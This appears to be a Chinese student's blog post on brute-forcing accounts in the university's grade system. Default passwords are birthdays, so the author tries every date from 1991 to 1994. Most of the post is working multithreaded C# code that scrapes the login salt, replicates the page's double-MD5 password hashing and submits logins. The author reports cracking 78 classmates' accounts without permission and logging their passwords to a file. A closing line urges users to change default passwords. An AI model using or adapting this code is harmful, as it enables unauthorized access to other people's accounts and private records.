背景介紹
我們學校的教務系統的是以學生學號作為登陸賬號,初始密碼是自己的生日。
一點點想法
每次期末查成績的時候,我都會有一個想法,要是我能跑到系統后台,把自己的成績修改一下,那該時間多么舒坦的事情啊。當然,我目前還並沒有這么做。^_^ 光看自己的成績不過癮,有時候還想看下同學的成績。怎么辦呢?突然,我發現我從來沒有改過我的密碼,那會不會有很多人像我這樣,沒有改密碼呢?如果是這樣,那么密碼就應該主要局限於1991年到1994年的所有日期了,空間集就大大減小了。那我是不是可以暴力得進行破解呢?如果這樣就直接不停地給服務器發送http數據包,並分析服務器相應的結果,不就可以了么?好了,基本的思路我有了,由於只是在應用層上做文章,我打算用C#實現。
開始嘗試,發現困難
我利用fiddle捕獲了點擊登錄按鈕后,發送給服務器的數據結果如圖:

這是HTTP數據包的頭部,另外post的數據為:

遮住的部分是我的學號,結果我發現password發送的居然不是我的生日,而是一串很長的字母數字串,於是我查看網頁源碼,發現里面有一段這樣的的js語句:
<form name="frmLogin" method="post" action="./Servlet/UsersControl" onsubmit="return selectType();"> ……………………………… </form> function selectType() { ………… change(); } function change() { var pw = document.frmLogin.password.value; pw = hex_md5(pw); pw = hex_md5(pw+sharedValue); //用共享數值再次加密 document.frmLogin.password.value = pw ; }
簡單的說一下這一段的意思,form就是我們提交的表單,點擊登錄按鈕之前調用 selectType(),selectType()在代碼的最后面調用了change()函數,而change()函數改變了我們提交給服務器的密碼值。而且在change()函數里shareValue這個值每次請求,服務器返回的值是不一樣的,服務器通過這個值來對密碼進行加密。這下算是總算明白為什么會提交一串看不懂的數字字母了(而且每次還不一樣,因為shareValue每次都不一樣)。
進一步挖掘,發現hex_md5這個函數,在一個js文件里面,這個文件里面存在這一下加密函數,對輸入參數做了很復雜的變換,我簡單地看了一下里面的邏輯,發現都是一點函數的調用,並沒有涉及到其他的文件與資源。到這里,我們已經基本了解了整個加密過程。於是,只要我們按照這樣的順序對密碼進行同樣的處理,就能得到正確的密碼。而在C#有個開源項目 Javascript .NET,可以通過它去調用並執行Js。
但問題並沒有這么簡單,細心的你觀察Http數據包頭部可以發現里面的cookie有三個參數,而且前兩個是通過Js直接設置的,最后一個是服務器設置的。所以通過C#中的HttpWebRequest對象請求,只能得到最后一個JSESSIONID的值,例外兩個需要在程序里面另外設置。
最終實現
實現框架:
for :date從1991到1994年所有的日期
if(Crack(學號,date)){
破解成功;
}
bool Crack(學號,日期){
構造合適的HttpWebRequest對象請求登陸頁面;
分析網頁代碼得到shareValue的值並與日期一起傳遞給加密函數得到Post數據里面的password;
將得到的cookie值提取出來,賦給下一次請求的HttpWebRequest對象,同時添加另外兩個cookie值;
再次發起請求通過分析服務器相應判斷該日期是否正確,正確返回true,不正確返回false;
}
實踐中發現單純使用這種方式破解一個賬號的速度大約是30分鍾,主要原因是每次網絡請求的開銷比較大。后來我在原來思路的基礎上,加入了多線程的方法,把破解速度提高到平均每3-5分鍾破解一個。
具體代碼:
1 public class Date { 2 public int y1; 3 public int y2; 4 public int m1; 5 public int m2; 6 public int d1; 7 public int d2; 8 public string stuNumber; 9 10 public Date(int a, int b, int c, int d, int e, int f,string num) { 11 y1 = a; 12 m1 = b; 13 d1 = c; 14 y2 = d; 15 m2 = e; 16 d2 = f; 17 stuNumber = num; 18 } 19 }
這個類代表待破解的學號,以及相應的日期區間 從y1-m1-d1到y2-m2-d2。
1 static private bool func(string stunum, string birth) 2 { 3 try 4 { 5 HttpWebRequest rqst = (HttpWebRequest)WebRequest.Create("http://********************"); 6 rqst.CookieContainer = new CookieContainer(); 7 rqst.Accept = "text/html, application/xhtml+xml, */*"; 8 rqst.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"; 9 rqst.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3"; 10 rqst.Headers["Accept-Language"] = "zh-CN,zh;q=0.3"; 11 rqst.Method = "GET"; 12 rqst.KeepAlive = true; 13 14 HttpWebResponse httpWebResponse = (HttpWebResponse)rqst.GetResponse(); 15 var ttt = httpWebResponse.Cookies; 16 Cookie cookie1 = ttt[0]; 17 18 Stream responseStream = httpWebResponse.GetResponseStream(); 19 StreamReader streamReader = new StreamReader(responseStream, Encoding.ASCII); 20 string html = streamReader.ReadToEnd(); 21 22 StreamReader sr = new StreamReader("md5.js"); 23 string md5 = sr.ReadToEnd(); 24 var lines = html.Split('\n'); 25 string temp = lines[406]; 26 var key = temp.Substring(18); 27 28 using (JavascriptContext ctx = new JavascriptContext()) 29 { 30 var i = ctx.Run(md5); 31 ctx.Run("var sharedValue = " + key + ";" + "pw = '" + birth + "';pw = hex_md5(pw);pw = hex_md5(pw+sharedValue);"); 32 var pw = ctx.GetParameter("pw"); 33 34 CookieContainer objcok = new CookieContainer(); 35 objcok.Add(new Uri("http://****************"), new Cookie("cck_lasttime", "1421808890459")); 36 objcok.Add(new Uri("http://*****************"), new Cookie("cck_count", "0")); 37 objcok.Add(new Uri("*********************"), new Cookie(cookie1.Name.ToString(), cookie1.Value.ToString())); 38 39 HttpWebRequest rqst3 = (HttpWebRequest)WebRequest.Create("http://**************"); 40 rqst3.Method = "POST"; 41 rqst3.ContentType = "application/x-www-form-urlencoded"; 42 rqst3.Referer = "http://****************"; 43 rqst3.Accept = "text/html, application/xhtml+xml, *?*"; 44 rqst3.UserAgent = "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"; 45 rqst3.ServicePoint.ConnectionLimit = 300; 46 rqst3.Headers["Accept-Charset"] = "GBK,utf-8;q=0.7,*;q=0.3"; 47 rqst3.Headers["Accept-Language"] = "zh-CN,zh;q=0.3"; 48 rqst3.CookieContainer = new CookieContainer(); 49 rqst3.CookieContainer = objcok; 50 51 52 Encoding encoding = Encoding.ASCII; 53 string postDataStr3 = "uid=" + stunum + "&password=" + pw + "&sltType=%D1%A7+%C9%FA&Submit=%C8%B7+%B6%A8&command=studentLogin"; 54 byte[] postData = encoding.GetBytes(postDataStr3); 55 rqst3.ContentLength = postData.Length; 56 Stream requestStream = rqst3.GetRequestStream(); 57 requestStream.Write(postData, 0, postData.Length); 58 59 HttpWebResponse httpWebResponse3 = (HttpWebResponse)rqst3.GetResponse(); 60 Stream responseStream3 = httpWebResponse3.GetResponseStream(); 61 StreamReader streamReader3 = new StreamReader(responseStream3, Encoding.GetEncoding("gb2312")); 62 string html2 = streamReader3.ReadToEnd(); 63 if (httpWebResponse3.ResponseUri.ToString() == "************************") 64 return true; 65 } 66 return false; 67 } 68 catch (Exception e) { 69 Console.WriteLine("error:" +stunum + '\t' + birth); 70 return false; 71 } 72 }
這個是上面所說的的Crack函數;
1 static public void threadFunc(object da){ 2 Date date = (Date)da; 3 for (int y = date.y1; y <= date.y2; y++) 4 { 5 for (int m = date.m1; m <= date.m2; m++) 6 { 7 for (int d = date.d1; d <= date.d2; d++) 8 { 9 if (flag == 1) 10 return; 11 StringBuilder tempStr = new StringBuilder(); 12 tempStr.Append(y.ToString()); 13 if (m < 10) 14 { 15 tempStr.Append("0" + m.ToString()); 16 } 17 else 18 { 19 tempStr.Append(m.ToString()); 20 } 21 if (d < 10) 22 { 23 tempStr.Append("0" + d.ToString()); 24 } 25 else 26 { 27 tempStr.Append(d.ToString()); 28 } 29 if (func(date.stuNumber, tempStr.ToString())) 30 { 31 psword = tempStr.ToString(); 32 flag = 1; 33 break; 34 } 35 } 36 if (flag == 1) break; 37 } 38 if (flag == 1) break; 39 } 40 }
多線程的線程函數,通過傳遞參數的不同,對不同時間區間同時破解。
1 static void Main(string[] args) 2 { 3 for (int num = ******; num < ******; num++) { 4 Console.WriteLine("0" + num); 5 FileStream fs = new FileStream("dic.txt", FileMode.Append); 6 StreamWriter sw = new StreamWriter(fs, Encoding.Default); 7 Date date1 = new Date(1991, 1, 1, 1991, 3, 31,"0" + num); 8 Date date2 = new Date(1991, 4, 1, 1991, 6, 30, "0" + num); 9 Date date3 = new Date(1991, 7, 1, 1991, 9, 30, "0" + num); 10 Date date4 = new Date(1991, 10, 1, 1991, 12, 31, "0" + num); 11 Date date5 = new Date(1992, 1, 1, 1992, 3, 31, "0" + num); 12 Date date6 = new Date(1992, 4, 1, 1992, 6, 30, "0" + num); 13 Date date7 = new Date(1992, 7, 1, 1992, 9, 30, "0" + num); 14 Date date8 = new Date(1992, 10, 1, 1992, 12, 31, "0" + num); 15 Date date9 = new Date(1993, 1, 1, 1993, 3, 31, "0" + num); 16 Date date10 = new Date(1993, 4, 1, 1993, 6, 30, "0" + num); 17 Date date11 = new Date(1993, 7, 1, 1993, 9, 30, "0" + num); 18 Date date12 = new Date(1993, 10, 1, 1993, 12, 31, "0" + num); 19 Date date13 = new Date(1994, 1, 1, 1994, 3, 31, "0" + num); 20 Date date14 = new Date(1994, 4, 1, 1994, 6, 30, "0" + num); 21 22 Thread thread1 = new Thread(new ParameterizedThreadStart(threadFunc)); 23 Thread thread2 = new Thread(new ParameterizedThreadStart(threadFunc)); 24 Thread thread3 = new Thread(new ParameterizedThreadStart(threadFunc)); 25 Thread thread4 = new Thread(new ParameterizedThreadStart(threadFunc)); 26 Thread thread5 = new Thread(new ParameterizedThreadStart(threadFunc)); 27 Thread thread6 = new Thread(new ParameterizedThreadStart(threadFunc)); 28 Thread thread7 = new Thread(new ParameterizedThreadStart(threadFunc)); 29 Thread thread8 = new Thread(new ParameterizedThreadStart(threadFunc)); 30 Thread thread9 = new Thread(new ParameterizedThreadStart(threadFunc)); 31 Thread thread10 = new Thread(new ParameterizedThreadStart(threadFunc)); 32 Thread thread11 = new Thread(new ParameterizedThreadStart(threadFunc)); 33 Thread thread12 = new Thread(new ParameterizedThreadStart(threadFunc)); 34 Thread thread13 = new Thread(new ParameterizedThreadStart(threadFunc)); 35 Thread thread14 = new Thread(new ParameterizedThreadStart(threadFunc)); 36 37 thread1.Start(date1); 38 thread2.Start(date2); 39 thread3.Start(date3); 40 thread4.Start(date4); 41 thread5.Start(date5); 42 thread6.Start(date6); 43 thread7.Start(date7); 44 thread8.Start(date8); 45 thread9.Start(date9); 46 thread10.Start(date10); 47 thread11.Start(date11); 48 thread12.Start(date12); 49 thread13.Start(date13); 50 thread14.Start(date14); 51 52 thread1.Join(); 53 thread2.Join(); 54 thread3.Join(); 55 thread4.Join(); 56 thread5.Join(); 57 thread6.Join(); 58 thread7.Join(); 59 thread8.Join(); 60 thread9.Join(); 61 thread10.Join(); 62 thread11.Join(); 63 thread12.Join(); 64 thread13.Join(); 65 thread14.Join(); 66 67 if (flag == 1) { 68 sw.WriteLine("0" + num + '\t' + psword); 69 flag = 0; 70 } 71 sw.Close(); 72 fs.Close(); 73 } 74 }
主函數寫得有點丑。大家請見諒,如果大家有更優雅的方法實現,可以指教一下。
大致的過程就是這樣,最后說說成果吧,我對我們班100來號人的賬號進行了嘗試,結果破解了78位同學的賬號,這個過程大概花了一整個下午的時間。原來大部分人都和我一樣,沒有改密碼。在此提醒哪些不該初始密碼的同學,不該初始密碼,就相當於告訴了別人你的密碼空間是什么樣的,這將大大降低破解的時間,所以希望能夠引起大家對修改密碼必要性的重視。
